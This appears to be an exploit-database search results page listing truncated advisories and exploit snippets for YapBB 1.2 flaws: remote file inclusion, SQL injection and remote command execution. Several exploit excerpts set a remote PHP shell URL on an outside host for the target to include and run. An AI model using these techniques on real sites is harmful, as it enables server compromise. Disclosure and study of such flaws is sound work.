40 matches found
yapbb-rfi.txt
┌┌─────────────────────────────────────────────────────────────────────────────────┐ ││ C r a C k E r ┌┘ ┌┘ T H E C R A C K O F E T E R N A L M I G H T ││ └─────────────────────────────────────────────────────────────────────────────────┘┘ ┌──── From The Ashes and Dust Rises An Unimaginable...
YapBB 1.2 - class_yapbbcooker.php Remote File Inclusion
YapBB 1.2 - classyapbbcooker.php Remote File Inclusion source: https://www.securityfocus.com/bid/30686/info YapBB is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input. An attacker can exploit this issue to include an arbitrary remote file...
YapBB 1.2 - 'class_yapbbcooker.php' Remote File Inclusion
source: https://www.securityfocus.com/bid/30686/info YapBB is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input. An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context ...
CVE-2006-6633
PHP remote file inclusion vulnerability in include/yapbbsession.php in YapBB 1.2 Beta2 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the GLOBALSincludeBit parameter...
CVE-2006-6633
PHP remote file inclusion vulnerability in include/yapbbsession.php in YapBB 1.2 Beta2 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the GLOBALSincludeBit parameter...
CVE-2006-6633
The CVE-2006-6633 issue affects YapBB up to 1.2 Beta2, where a PHP remote file inclusion vulnerability in include/yapbb_session.php allows an attacker to execute arbitrary PHP code via a URL supplied in the GLOBALS[include_Bit] parameter. Root cause is improper handling of the include path/parame...
YapBB <= 1.2 Beta2 (yapbb_session.php) Remote File Include Exploit
!/usr/bin/php -q -d shortopentag=on ? print ' ::::::::: :::::::::: ::: ::: ::::::::::: ::: :+: :+: :+: :+: :+: :+: :+: +:+ +:+ +:+ +:+ +:+ +:+ +:+ ++ +:+ +++:++ ++ +:+ ++ ++ ++ ++ ++ ++ ++ ++ ++ + + + +++ + + ::::::::::: :::::::::: ::: :::: :::: :+: :+: :+: :+: +:+:+: :+:+:+ +:+ +:+ +:+ +:+ +:+...
YapBB <= 1.2 Beta2 (yapbb_session.php) Remote File Include Exploit
Exploit for unknown platform in category web applications ================================================================== YapBB = 1.2 Beta2 yapbbsession.php Remote File Include Exploit ================================================================== !/usr/bin/php -q -d shortopentag=on ? prin...
YapBB 1.2 Beta2 - yapbb_session.php Remote File Inclusion
YapBB 1.2 Beta2 - yapbbsession.php Remote File Inclusion !/usr/bin/php -q -d shortopentag=on ? print ' ::::::::: :::::::::: ::: ::: ::::::::::: ::: :+: :+: :+: :+: :+: :+: :+: +:+ +:+ +:+ +:+ +:+ +:+ +:+ ++ +:+ +++:++ ++ +:+ ++ ++ ++ ++ ++ ++ ++ ++ ++ + + + +++ + + ::::::::::: :::::::::: ::: ::::...
YapBB <= 1.2 Beta2 (yapbb_session.php) Remote File Include Exploit
No description provided by source. !/usr/bin/php -q -d shortopentag=on ? print ' ::::::::: :::::::::: ::: ::: ::::::::::: ::: :+: :+: :+: :+: :+: :+: :+: +:+ +:+ +:+ +:+ +:+ +:+ +:+ ++ +:+ +++:++ ++ +:+ ++ ++ ++ ++ ++ ++ ++ ++ ++ + + + +++ + + ::::::::::: :::::::::: ::: :::: :::: :+: :+: :+: :+:...
YapBB 1.2 Beta2 - 'yapbb_session.php' Remote File Inclusion
!/usr/bin/php -q -d shortopentag=on ? print ' ::::::::: :::::::::: ::: ::: ::::::::::: ::: :+: :+: :+: :+: :+: :+: :+: +:+ +:+ +:+ +:+ +:+ +:+ +:+ ++ +:+ +++:++ ++ +:+ ++ ++ ++ ++ ++ ++ ++ ++ ++ + + + +++ + + ::::::::::: :::::::::: ::: :::: :::: :+: :+: :+: :+: +:+:+: :+:+:+ +:+ +:+ +:+ +:+ +:+...
Sql injection
SQL injection vulnerability in find.php in YapBB 1.2 Beta2 and earlier allows remote attackers to execute arbitrary SQL commands via the userID parameter...
CVE-2006-2486
SQL injection vulnerability in find.php in YapBB 1.2 Beta2 and earlier allows remote attackers to execute arbitrary SQL commands via the userID parameter...
CVE-2006-2486
SQL injection vulnerability in find.php in YapBB 1.2 Beta2 and earlier allows remote attackers to execute arbitrary SQL commands via the userID parameter...
CVE-2006-2486
CVE-2006-2486 affects YapBB 1.2 Beta2 and earlier. The vulnerability resides in find.php, where the userID parameter can be manipulated to cause an SQL injection, enabling remote attackers to execute arbitrary SQL commands.
YapBB <= 1.2 Beta2 'find.php' SQL Injection Vulnerability
Title : YapBB = 1.2 Beta2 'find.php' SQL Injection Vulnerability ------------------------------------------ Author : x90cKyong Joo, Jung Published : 2006.5.16 E-mail : geinblues at gmail.com Site : http://www.chollian.net/jyj9782 ------------------------------------------ 0x01 Summary YapBB is a...
YapBB 1.2 - 'cfgIncludeDirectory' Remote Command Execution
!/usr/bin/perl YapBB All rights reserved. never ctrl+c again. cijfer$ http://target.com/dir host changed to 'http://target.com/dir' cijfer$ to set your PHP shell location: cijfer$ shell=http://my.shell.fi/phpshell.gif?&cmd= php shell set to 'http://my.shell.fi/phpshell.gif?&cmd=' cijfer$ $Id:...
YapBB <= 1.2 (cfgIncludeDirectory) Remote Command Execution Exploit
Exploit for unknown platform in category web applications =================================================================== YapBB All rights reserved. never ctrl+c again. cijfer$ http://target.com/dir host changed to 'http://target.com/dir' cijfer$ to set your PHP shell location: cijfer$...
YapBB <= 1.2 (cfgIncludeDirectory) Remote Command Execution Exploit
No description provided by source. !/usr/bin/perl YapBB =1.2 Beta Remote Command Execution Exploit Copyright c 2006 cijfer cijfer@netti!fi All rights reserved. never ctrl+c again. cijfer$ http://target.com/dir host changed to 'http://target.com/dir' cijfer$ to set your PHP shell location: cijfer$...
YapBB 1.2 - cfgIncludeDirectory Remote Command Execution
YapBB 1.2 - cfgIncludeDirectory Remote Command Execution !/usr/bin/perl YapBB All rights reserved. never ctrl+c again. cijfer$ http://target.com/dir host changed to 'http://target.com/dir' cijfer$ to set your PHP shell location: cijfer$ shell=http://my.shell.fi/phpshell.gif?&cmd= php shell set to...